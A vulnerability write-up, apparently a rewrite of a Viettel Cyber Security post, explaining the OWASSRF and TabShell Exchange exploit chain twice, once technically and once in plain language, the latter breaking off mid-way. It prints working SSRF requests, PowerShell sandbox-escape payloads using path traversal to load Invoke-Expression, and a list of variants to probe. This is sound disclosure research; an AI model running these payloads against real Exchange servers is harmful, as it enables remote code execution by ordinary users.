Skip to content
SSRF Write-up Advanced

The OWASSRF + TabShell exploit chain

The report details two vulnerabilities: OWASSRF, an authenticated SSRF in Exchange that allows an attacker to send requests to backend endpoints like /mapi/nspi and /powershell, and TabShell, a sandbox escape in Exchange PowerShell remoting that enables running arbitrary commands. Chained together, they allow a normal user to execute arbitrary PowerShell commands on the Exchange server.

Rskvp93 Follow

Published on blog.viettelcybersecurity.com

We see that one of our vulnerabilities is exploited in the wild Link. So we decided to public the detail analysis of our two bug chain.

Rskvp93 (@rskvp93), Q5Ca (@_q5ca), nxhoang99 (@nxhoang99), on blog.viettelcybersecurity.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

This write-up covers two vulnerabilities that the VcsLab team at Viettel Cyber Security reported to MSRC, published after one of them was seen exploited in the wild. The vendor had released all patches two weeks before publication, so the details are safe to share and customers have what they need to mitigate.

The two bugs are:

  • OWASSRF, tracked as CVE-2022-41080: an authenticated SSRF in Exchange that lets a normal user reach backend endpoints such as /mapi/nspi and /powershell that are not normally reachable from a remote host.
  • TabShell, tracked as CVE-2022-41076: a sandbox escape in the Exchange PowerShell remoting feature that turns a restricted remoting session into arbitrary PowerShell execution.

Chained together, OWASSRF gets you to the PowerShell remoting endpoint on an on-premises Exchange server and TabShell breaks out of the sandbox once you are there.

Setup

The analysis targets Exchange Server on-premises, with a normal (non-admin) mailbox user. The researcher's test account is victim in the MYCORP domain, and the example requests use Host: [redacted]. The backend identifies itself as version 15.2.1118.15.

The PowerShell side uses a standard remoting session created with New-PSSession against the /powershell/ virtual directory, authenticated with Basic auth over HTTPS. The exploit is described as working against Exchange on-premises, Exchange Online and Skype for Business Server, with different preconditions for each (see Impact).

Finding it

The researcher had known about two SSRF bugs, in Autodiscover and in OWA, for more than a year, from the time of a Pwn2own event. The Autodiscover SSRF was not fixed at that point, so the OWA SSRF was not reported until ProxyNotShell was exploited in the wild. The researcher's view is that Microsoft did not fix the root cause of the SSRF because SSRF alone does not produce real impact.

For TabShell, the starting point was the restricted PowerShell session that Exchange gives a normal user. The researcher audited the core cmdlets available in that session and almost succeeded with Get-Help after a week of research, but it failed in the end. The attack surface was then widened, which is how the TabExpansion feature was found.

Exploitation

Part 1: OWASSRF

The proof of concept is a single request:

HTTP
GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/[redacted]
Cookie: <CHANGE HERE>

When a request reaches the /owa endpoint on the frontend, OwaProxyRequestHandler.GetTargetBackEndServerUrl is called to calculate the URL that will be sent to the backend. That in turn calls OwaEcpProxyRequestHandler.GetClientUrlForProxy:

C#
protected override UriBuilder GetClientUrlForProxy()
{
    UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
    if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
    {
        uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
    }
    return uriBuilder;
}

public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
    ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
    return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}

The key point is that UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath removes this.ExplicitSignOnAddress from the request path, and this.ExplicitSignOnAddress is attacker-controlled through the X-OWA-ExplicitLogonUser header. If the header value starts with owa/ (for example owa/[redacted]) and the requested URL is /owa/test%40gmail.com/mapi/nspi, then GetClientUrlForProxy strips owa/test%40gmail.com from the path and the request is sent to /mapi/nspi on the backend. That is the authenticated SSRF.

A full example that reaches /mapi/nspi:

HTTP
GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/[redacted]
Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=[redacted]/[redacted]; ClientId=[redacted]; UC=[redacted]; X-OWA-CANARY=[redacted].; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/[redacted]+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/[redacted]/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+[redacted]+[redacted]+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=[redacted]/[redacted]+[redacted]/[redacted]/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA==

The request that reaches the backend is authenticated as the account used to authenticate to the frontend, victim in this case. The response from the MAPI/HTTP endpoint confirms it:

HTML
<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br>
Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br>
<b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br>
<b>Authentication:</b> Basic<br>
<b>PUID:</b> <br>
<b>TenantGuid::</b> </p><br>
<p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br>
<b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br>
<b>Created:</b> 10/13/2022 12:42:55 PM</p>
</body></html>

With the same primitive, other backend endpoints can be reached, including /powershell. That gives a normal user the ability to interact with Exchange Remote PowerShell, which normally cannot be accessed from a remote host.

Part 2: TabShell

Exchange Server and Exchange Online expose PowerShell remoting so that a normal user can open a remoting session inside a sandbox, where only some Exchange cmdlets can be run. Skype for Business Server has the same remoting feature, but there the attacker needs at least HelpDesk group membership. The analysis below is for the on-premises version of Exchange Server.

Stage 1: create a restricted PowerShell session for a normal Exchange user

PowerShell
$secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

Running a command in the session:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {get-mailbox}

The session is quite restricted:

  • Arbitrary commands such as Invoke-Expression cannot be run. Only a few whitelisted Exchange cmdlets plus some core cmdlets such as Get-Command and Get-Help are available.
  • A full PowerShell script cannot be run because LanguageMode=NoLanguage is set. Only a simple cmdlet with its parameters is allowed.
  • The list of available public cmdlets can be obtained with Get-Command.

The restricted session is created through the Runspace feature.

Stage 2: enable TabExpansion in the runspace

After auditing all core cmdlets, the researcher found a less obvious feature: TabExpansion.

When a PowerShell session is created, ApplicationArguments can be passed. If WSManStackVersion is set below 3.0, the public TabExpansion function is enabled in the initialSessionState, and it can then be called inside the restricted session. The relevant class and method are System.Management.Automation.Remoting.ServerRemoteSession, HandleCreateRunspacePool.

The snippet that creates a session with public TabExpansion:

PowerShell
$secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

Running a command in the session:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}

At this point the public TabExpansion function is available. Auditing it for command injection turned up a few Invoke-Expression calls, but none could be turned into a real vulnerability.

Stage 3: use TabExpansion to invoke Get-Command with an arbitrary -Name parameter

TabExpansion itself could not be exploited directly, but it can be made to call Get-Command with an arbitrary -Name parameter. Calling Get-Command directly is possible because it is a public cmdlet, but the internal call is more powerful than the direct one.

The PoC:

PowerShell
TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test"

This parses the line parameter and calls Get-Command NetTCPIP\Test-NetConnection.

Stage 4: use Get-Command to load an arbitrary module with Import-Module

Since PowerShell 3.0, Get-Command has an auto-load module feature. The implementation lives in the System.Management.Automation.CommandDiscovery class, in the LookupCommandInfo method. TryNormalSearch is tried first, and if the command info is not found (null), TryModuleAutoLoading is called. In TryModuleAutoLoading, the module name (the text2 variable) is parsed from the command name, and the module is loaded with AutoloadSpecifiedModule.

The interesting part is that Import-Module is private, but it is called internally from Get-Command, so the CommandOrigin is internal and the sandbox does not restrict it.

To load the NetTCPIP module:

PowerShell
Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";NetTCPIP\Test-NetConnection" -lastWord "-test" }

This leads to the cmdlet Import-Module -Name NetTCPIP being invoked.

Stage 5: use path traversal to load a module from a DLL and import a public cmdlet into the current session

At stage 4, an arbitrary module can be loaded by name from PSModulePath (C:\Program Files\WindowsPowerShell\Modules, C:\Windows\system32\WindowsPowerShell\v1.0\Modules). Digging into Import-Module showed that path traversal can be used to load a module from an arbitrary DLL on the file system.

The payload:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {
    TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test"
}

Import-Module supports several kinds of module loading: module manifest files (.psd1), PowerShell script files (.ps1) and managed DLLs with cmdlets (.dll). By using a module name that ends in .dll, Import-Module goes into the LoadBinaryModule method, loads the DLL and imports all cmdlets in that module into the current session.

The problem is that all cmdlets are imported with public visibility, so they can be invoked afterwards. The payload above loads Microsoft.PowerShell.Commands.Utility.dll, which contains the Invoke-Expression cmdlet.

Calling the imported cmdlet:

PowerShell
Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" }

From that point, Invoke-Expression can be used to run any PowerShell script without restriction.

Demo

The exploit works against Exchange on-premises, Exchange Online and Skype for Business Server:

  • Exchange on-premises needs the OWASSRF bug to reach the PowerShell remoting endpoint.
  • Exchange Online exposes the PowerShell remoting endpoint publicly.
  • Skype for Business Server exposes the PowerShell remoting endpoint publicly, but by default at least HelpDesk group privilege is needed.

There is no subscription for Skype for Business Online, which is end of life. Microsoft Teams appears to use the same backend services as Skype for Business, but its PowerShell remoting endpoint is deprecated and may be removed.

The video below is the demo for Exchange on-premises with a normal user:

Or watch on YouTube
YouTube video player From the original on blog.viettelcybersecurity.com

Root cause

OWASSRF is a path handling mistake. The proxy builds the backend URL by taking the client request path and removing the explicit logon address from it with a plain string Replace. Because the explicit logon address comes from the X-OWA-ExplicitLogonUser header, an attacker can choose a value that matches a prefix of the request path, and the removal turns a request to /owa/... into a request to an arbitrary backend path. The frontend then forwards the request with the victim's own authentication, so the backend sees an authenticated request from a normal user.

TabShell is a chain of design weaknesses in the remoting sandbox:

  1. TabExpansion is enabled in the initial session state when the client advertises WSManStackVersion below 3.0, which puts a public function into a session that is supposed to be locked down.
  2. TabExpansion calls Get-Command internally with an attacker-controlled name, and the internal call has a different CommandOrigin than a direct call.
  3. Get-Command auto-loads modules, and the internal Import-Module call is not restricted by the sandbox because its origin is internal.
  4. Import-Module accepts a module name ending in .dll and resolves it through the file system, so path traversal reaches an arbitrary DLL in the file system. Binary modules are imported with public visibility, which puts powerful cmdlets such as Invoke-Expression into the session.

Impact

OWASSRF gives an authenticated normal user SSRF to backend endpoints of the Exchange frontend, with the request carrying that user's identity. In the researcher's setup this reached /mapi/nspi and /powershell. Reaching /powershell is what makes the chain useful, because the remoting endpoint is normally not reachable from a remote host.

TabShell turns the restricted remoting session into arbitrary PowerShell execution. On Exchange on-premises the two bugs are chained: OWASSRF to reach the endpoint, TabShell to escape the sandbox. On Exchange Online the remoting endpoint is public, so TabShell alone applies. On Skype for Business Server the endpoint is also public, but by default the attacker needs at least HelpDesk group membership.

Fix

TabExpansion was removed in a PowerShell commit, which kills the first stage of the chain. The researcher notes that other issues appear to remain and could be abused in another way, but is not sure about that.

With .NET Framework the fix is a little different. That kind of fix can make an attacker able to put a backdoor on the server with a registry key to enable the TabShell exploit.

Variants to test

  1. Other explicit logon headers and paths. Try the same X-OWA-ExplicitLogonUser trick with other /owa/... paths that the proxy forwards, and with other virtual directories behind the same frontend. A positive result is a backend response that identifies the requested virtual directory (for example the MAPI/HTTP connectivity page) rather than an OWA error.
  2. Other WSManStackVersion values. Create a remoting session with ApplicationArguments carrying a PSversionTable whose WSManStackVersion is below 3.0, then call TabExpansion in the session. A positive result is the function being present and returning completions.
  3. Other internal callers of Get-Command. Look for other public functions in a restricted runspace that call Get-Command with a user-controlled name. A positive result is a module being auto-loaded from a name you supplied.
  4. Other binary modules on disk. Use the path traversal form with other DLLs under the GAC or elsewhere on the file system that contain useful cmdlets. A positive result is the cmdlets from that DLL being callable in the session afterwards.
  5. Other remoting front ends. Apply the TabShell stages to any product that exposes PowerShell remoting with a restricted runspace, such as Skype for Business Server with a HelpDesk-level account. A positive result is Invoke-Expression (or another unrestricted cmdlet) becoming callable in the sandboxed session.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 26 min read.

What happened, in plain words

Three security researchers from the VcsLab team at Viettel Cyber Security found two separate weaknesses in Microsoft products and reported them to Microsoft's security response centre (MSRC). They published this write-up after one of the two weaknesses was seen being used by real attackers in the wild. By then Microsoft had already released patches for both, two weeks before the article appeared, so publishing the details was safe and customers had what they needed to protect themselves.

The two weaknesses are:

  • OWASSRF, tracked as CVE-2022-41080. This is a bug in Microsoft Exchange, the mail server software many companies run. It lets an ordinary logged-in user make the server send requests to internal parts of itself that a remote person should never be able to reach, such as /mapi/nspi and /powershell.
  • TabShell, tracked as CVE-2022-41076. This is a bug in the PowerShell remoting feature of Exchange. PowerShell is Microsoft's command-line tool for running commands and scripts. "Remoting" means running those commands on another machine over the network. Exchange gives ordinary users a deliberately limited remoting session, a kind of fenced play area called a sandbox. TabShell is a way to climb out of that fenced area and run any PowerShell command you like.

Put the two together and you get a full path: OWASSRF gets you to the PowerShell remoting door on an on-premises Exchange server, and TabShell gets you past the guard once you are there.

A few words you will meet constantly below, explained once here:

  • Server and client. A server is a computer that provides a service. A client is the program that asks for it. When you open a website, your browser is the client and the machine hosting the site is the server.
  • Frontend and backend. Big products like Exchange are often split in two. The frontend is the part that faces the internet and accepts connections from users. The backend is the part behind it that does the real work, such as reading mailboxes. The frontend passes requests to the backend, like a receptionist passing visitors to the right office.
  • Endpoint. A specific address on a server that accepts requests, such as /owa or /powershell. Think of it as a particular counter in a building.
  • HTTP request. The message a browser (or any client) sends to a server to ask for something. It has a first line with a method and a path, then a list of headers (extra information), then optionally a body.
  • Header. A labelled line inside an HTTP request or response, such as Host: or Cookie:. Headers carry metadata: who you are, what format you accept, and so on.
  • Cookie. A small piece of data the server gives your browser and your browser sends back on every later request, so the server can recognise you. It is like a wristband at an event: show it and staff know you already checked in.
  • Token. A value that proves you are authenticated, similar in spirit to a cookie. If someone steals it, they can act as you until it expires.
  • Authentication. Proving who you are, usually with a username and password. Authorisation is what you are then allowed to do.
  • SSRF (Server-Side Request Forgery). A bug where an attacker can make the server itself send a request to an address of the attacker's choosing. The server is tricked into being the attacker's messenger, and because the request comes from inside the network it can reach places outsiders cannot.
  • Path traversal. A bug where a value like ../../ is used to climb out of an intended folder or location. In a file system, .. means "go up one folder". In a URL, the same idea can be abused to reach a different location than intended.
  • Sandbox. A restricted environment designed so that even if something goes wrong, the damage is limited. Like a playpen: you can move around inside, but you cannot leave.
  • Cmdlet. The name PowerShell gives to its built-in commands, such as Get-Mailbox or Get-Command. They follow a Verb-Noun naming style.
  • Module. A package of PowerShell cmdlets that can be loaded on demand. Think of it as an app you install to get new commands.
  • DLL. A file on Windows that contains compiled code, often a library of functions. Some PowerShell modules are shipped as DLLs.
  • Runspace. The isolated environment in which a PowerShell session runs. Each remoting session gets its own runspace.

Setup

The analysis is about Exchange Server installed on the company's own machines, which people call "on-premises" to distinguish it from the cloud version. The user in the examples is an ordinary mailbox user, not an administrator. The researcher's test account is victim in the MYCORP domain, and the example requests use Host: [redacted]. The backend reports its version as 15.2.1118.15.

On the PowerShell side, the examples use a standard remoting session created with the New-PSSession command against the /powershell/ virtual directory, logging in with Basic authentication over HTTPS. Basic authentication means sending the username and password with each request; HTTPS encrypts the connection so they are not readable on the wire.

The exploit is described as working against Exchange on-premises, Exchange Online (the cloud version) and Skype for Business Server, with different preconditions for each. Those preconditions are listed further down under Impact.

Finding it

The researcher had known about two SSRF bugs, one in a feature called Autodiscover and one in OWA (Outlook Web App, the webmail interface of Exchange), for more than a year, from the time of a Pwn2own event. Pwn2own is a well-known hacking contest where researchers demonstrate attacks on real products. The Autodiscover SSRF was not fixed at that point, so the OWA SSRF was not reported until a different bug called ProxyNotShell was exploited in the wild. The researcher's view is that Microsoft did not fix the root cause of the SSRF because SSRF alone does not produce real impact: on its own it is a messenger trick, and the damage depends on what the messenger can reach.

For TabShell, the starting point was the restricted PowerShell session that Exchange gives a normal user. The researcher audited the core cmdlets available in that session and almost succeeded with Get-Help after a week of research, but it failed in the end. The attack surface was then widened, which is how the TabExpansion feature was found. Widening the attack surface means looking beyond the obvious doors for less obvious ones.

Exploitation

Part 1: OWASSRF

The proof of concept is a single request:

HTTP
GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/[redacted]
Cookie: <CHANGE HERE>

Line by line:

  1. GET /owa/test%40gmail.com/xxxxxxxx HTTP/1.1 is the request line. GET asks for something, /owa/... is the path on the server, and HTTP/1.1 is the protocol version. %40 is the URL-encoded form of the @ character, so the path really means /owa/[redacted]/xxxxxxxx.
  2. Host: [redacted] tells the server which site the request is for. Here it is the researcher's test frontend.
  3. User-Agent: python-requests/2.27.1 says which client software sent the request. It is a Python library, not a browser, which is typical for scripted tests.
  4. Accept-Encoding: gzip, deflate says the client can accept compressed responses.
  5. Accept: */* says the client accepts any content type.
  6. Connection: close asks the server to close the connection after the response.
  7. X-OWA-ExplicitLogonUser: owa/[redacted] is the crucial header. It is the value the attacker controls, and it is what the bug is about.
  8. Cookie: <CHANGE HERE> is a placeholder for the attacker's own valid session cookie. The attacker logs in normally, then reuses their own cookie.

When a request reaches the /owa endpoint on the frontend, a piece of code called OwaProxyRequestHandler.GetTargetBackEndServerUrl is called to calculate the URL that will be sent to the backend. That in turn calls OwaEcpProxyRequestHandler.GetClientUrlForProxy:

C#
protected override UriBuilder GetClientUrlForProxy()
{
    UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);
    if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))
    {
        uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));
    }
    return uriBuilder;
}

public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress)
{
    ArgumentValidator.ThrowIfNull("absolutePath", absolutePath);
    ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
    return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);
}

What this code does, in plain words:

  1. GetClientUrlForProxy starts by copying the URL the client asked for into a builder object, which is a helper for constructing URLs.
  2. The if checks two things: that this is an explicit sign-on (a mode where the user's address is part of the URL) and that the request is not a download. If both hold, it rewrites the path.
  3. The rewrite calls RemoveExplicitLogonFromUrlAbsolutePath, passing the decoded request path and the decoded explicit sign-on address. UrlDecode turns things like %40 back into @.
  4. RemoveExplicitLogonFromUrlAbsolutePath simply takes the path and does a plain text Replace of "/" + explicitLogonAddress with an empty string. In other words, it deletes that substring wherever it appears.

The key point is that UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath removes this.ExplicitSignOnAddress from the request path, and this.ExplicitSignOnAddress is attacker-controlled through the X-OWA-ExplicitLogonUser header. If the header value starts with owa/ (for example owa/[redacted]) and the requested URL is /owa/test%40gmail.com/mapi/nspi, then GetClientUrlForProxy strips owa/test%40gmail.com from the path and the request is sent to /mapi/nspi on the backend. That is the authenticated SSRF.

A useful comparison: imagine a receptionist who is told "if the visitor's name appears at the start of their destination, cross it out and send them to what remains". Normally the visitor's name is their own, so nothing odd happens. But if the visitor can write their own name on the form, they can write a name that matches the start of a restricted destination, and the receptionist will cross it out and wave them through to the restricted room.

A full example that reaches /mapi/nspi:

HTTP
GET /owa/test%40gmail.com/mapi/nspi HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-OWA-ExplicitLogonUser: owa/[redacted]
Cookie: X-BackEndCookie=S-1-5-21-2656093215-258796493-3715049920-2601=[redacted]/[redacted]; ClientId=[redacted]; UC=[redacted]; X-OWA-CANARY=[redacted].; cadata=v6LoKl833IfszAjlUg3mgrWwYrQQ/[redacted]+Mt48GPt6nr0lR3Cs=; cadataIV=B5rzxVbcOv5fmn2QArN/[redacted]/XoLw1ef6N0ji5M9/iSxenrmdHyE/L1i+I04hyXXkq6lrP3OIzzy4WgGFMDEza4+[redacted]+[redacted]+6gFpExChdQpAmxQivlBuKEBDKT+utHdXT907pxpBZMuw==; cadataKey=[redacted]/[redacted]+[redacted]/[redacted]/9jXQ==; cadataSig=FyQoA9mAw0xeEdo8JlWBHnNLVo+nB4OY1YFrGQc+wy8=; cadataTTL=YqBmg7U9pNe8h8FjnG55YA==

Line by line:

  1. The request line asks for /owa/test%40gmail.com/mapi/nspi. Decoded, that is /owa/[redacted]/mapi/nspi.
  2. The Host, User-Agent, Accept-Encoding, Accept and Connection headers are the same as before and just describe the client.
  3. X-OWA-ExplicitLogonUser: owa/[redacted] is again the attacker-chosen value. Because it starts with owa/, the removal step will match the start of the path.
  4. The Cookie header carries a set of cookies the researcher's logged-in session received. These are the credentials that make the request authenticated. They are session data and should be treated as secrets.

What happens inside: the frontend takes the path /owa/[redacted]/mapi/nspi, removes the substring /owa/[redacted] (the header value with a leading slash), and is left with /mapi/nspi. It then forwards the request to the backend at that path.

The request that reaches the backend is authenticated as the account used to authenticate to the frontend, victim in this case. The response from the MAPI/HTTP endpoint confirms it:

HTML
<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.1118.15<br>
Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> MYCORP\victim<br>
<b>UPN:</b> <br><b>SID:</b> S-1-5-21-2656093215-258796493-3715049920-2601<br><b>Organization:</b> <br>
<b>Authentication:</b> Basic<br>
<b>PUID:</b> <br>
<b>TenantGuid::</b> </p><br>
<p><b>Cafe:</b> win-9i2q3pvpkvp.mycorp.lab<br>
<b>Mailbox:</b> win-9i2q3pvpkvp.mycorp.lab</p><p><br><br><br>
<b>Created:</b> 10/13/2022 12:42:55 PM</p>
</body></html>

This is an HTML page, the same kind of markup a web page is made of. The important parts:

  1. The title and first paragraph say this is the "Exchange MAPI/HTTP Connectivity Endpoint", which is a status page for a specific backend service. Seeing it means the request really landed on that service, not on OWA.
  2. Version: 15.2.1118.15 is the backend version.
  3. Vdir Path: /mapi/nspi/ confirms which virtual directory answered. A virtual directory is a named address inside a web server, like a folder that maps to a service.
  4. User: MYCORP\victim is the proof: the backend sees the request as coming from the ordinary user victim. The attacker did not need any special rights; their own login was enough.
  5. SID, Cafe, Mailbox and Created are further identifiers and details about the backend and the mailbox.

With the same primitive, other backend endpoints can be reached, including /powershell. That gives a normal user the ability to interact with Exchange Remote PowerShell, which normally cannot be accessed from a remote host. In other words, the frontend becomes a trusted internal messenger that carries the user's request to a door that is locked to the outside.

Part 2: TabShell

Exchange Server and Exchange Online expose PowerShell remoting so that a normal user can open a remoting session inside a sandbox, where only some Exchange cmdlets can be run. Skype for Business Server has the same remoting feature, but there the attacker needs at least HelpDesk group membership. A group is a collection of accounts that share permissions; HelpDesk is a support role. The analysis below is for the on-premises version of Exchange Server.

Stage 1: create a restricted PowerShell session for a normal Exchange user

PowerShell
$secureString = ConvertTo-SecureString -String "xxxxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

Line by line:

  1. ConvertTo-SecureString turns the plain password into a protected string that PowerShell can hold in memory without displaying it. The xxxxxxxx is a placeholder for the password.
  2. New-Object ... PSCredential bundles the username mycorp\victim and that protected password into a credential object, which is what commands expect when they need to log in.
  3. New-PSSessionOption creates a set of connection options. The three -Skip... switches turn off certificate checks: -SkipCACheck skips checking who issued the certificate, -SkipCNCheck skips checking that the certificate name matches the server name, and -SkipRevocationCheck skips checking whether the certificate was revoked. These are common in lab setups with self-signed certificates.
  4. New-PSSession opens the actual remoting session. -ConfigurationName Microsoft.Exchange selects the Exchange session configuration, which is what applies the sandbox. -ConnectionUri https://x.x.x.x/powershell/ is the address of the remoting endpoint. -Credential supplies the login. -Authentication Basic uses Basic authentication. -AllowRedirection lets the connection follow redirects. -SessionOption applies the options from step 3. The result is stored in $Session.

Running a command in the session:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {get-mailbox}

Invoke-Command runs a block of code on the remote session. -Session $Session says which session. -ScriptBlock {get-mailbox} is the code to run: the Get-Mailbox cmdlet, which lists mailboxes. This is a harmless command used to show that the session works.

The session is quite restricted:

  • Arbitrary commands such as Invoke-Expression cannot be run. Only a few whitelisted Exchange cmdlets plus some core cmdlets such as Get-Command and Get-Help are available. A whitelist is an explicit list of allowed things; everything not on it is refused.
  • A full PowerShell script cannot be run because LanguageMode=NoLanguage is set. Language mode is a setting that controls how much of the PowerShell language is available. NoLanguage means no scripting constructs at all: only a simple cmdlet with its parameters is allowed.
  • The list of available public cmdlets can be obtained with Get-Command. "Public" here means visible and callable from the session; "private" means hidden from direct use.

The restricted session is created through the Runspace feature. A runspace is the isolated environment where the session's commands execute.

Stage 2: enable TabExpansion in the runspace

After auditing all core cmdlets, the researcher found a less obvious feature: TabExpansion. This is the machinery behind tab completion, the thing that suggests command names when you press the Tab key. It is a function that takes a partial line and a partial word and returns suggestions.

When a PowerShell session is created, ApplicationArguments can be passed. These are extra values the client sends to the server when setting up the session. If WSManStackVersion is set below 3.0, the public TabExpansion function is enabled in the initialSessionState, and it can then be called inside the restricted session. WSManStackVersion is a version number the client claims for the management protocol used by remoting; the server adjusts its behaviour based on it. The relevant class and method are System.Management.Automation.Remoting.ServerRemoteSession, HandleCreateRunspacePool. A class is a blueprint in code, and a method is a named action inside it.

The snippet that creates a session with public TabExpansion:

PowerShell
$secureString = ConvertTo-SecureString -String "xxxxxx" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "mycorp\victim", $secureString
$version = New-Object -TypeName System.Version -ArgumentList "2.0"
$mytable = $PSversionTable
$mytable["WSManStackVersion"] = $version
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://x.x.x.x/powershell/ -Credential $UserCredential -Authentication Basic -AllowRedirection -SessionOption $sessionOption

Line by line:

  1. The first two lines are the same as in stage 1: build a protected password and a credential object.
  2. New-Object -TypeName System.Version -ArgumentList "2.0" creates a version value of 2.0.
  3. $mytable = $PSversionTable copies the client's version table, a collection of version numbers describing the PowerShell environment.
  4. $mytable["WSManStackVersion"] = $version overwrites the WSManStackVersion entry with 2.0, which is below 3.0.
  5. New-PSSessionOption now also passes -ApplicationArguments @{PSversionTable=$mytable}. The @{...} syntax builds a small key-value table, and here it carries the modified version table to the server.
  6. New-PSSession opens the session as before, with these options attached.

Running a command in the session:

PowerShell
Invoke-Command -Session $Session -ScriptBlock {TabExpansion -line "test" -lastWord "test"}

This calls TabExpansion with a sample line and a sample last word, just to show the function is now present and callable. -line is the text typed so far, -lastWord is the word being completed.

At this point the public TabExpansion function is available. Auditing it for command injection turned up a few Invoke-Expression calls, but none could be turned into a real vulnerability. Command injection means tricking a program into running commands you supplied as data. Invoke-Expression is a PowerShell cmdlet that runs whatever text you give it, so it is a natural target.

Stage 3: use TabExpansion to invoke Get-Command with an arbitrary -Name parameter

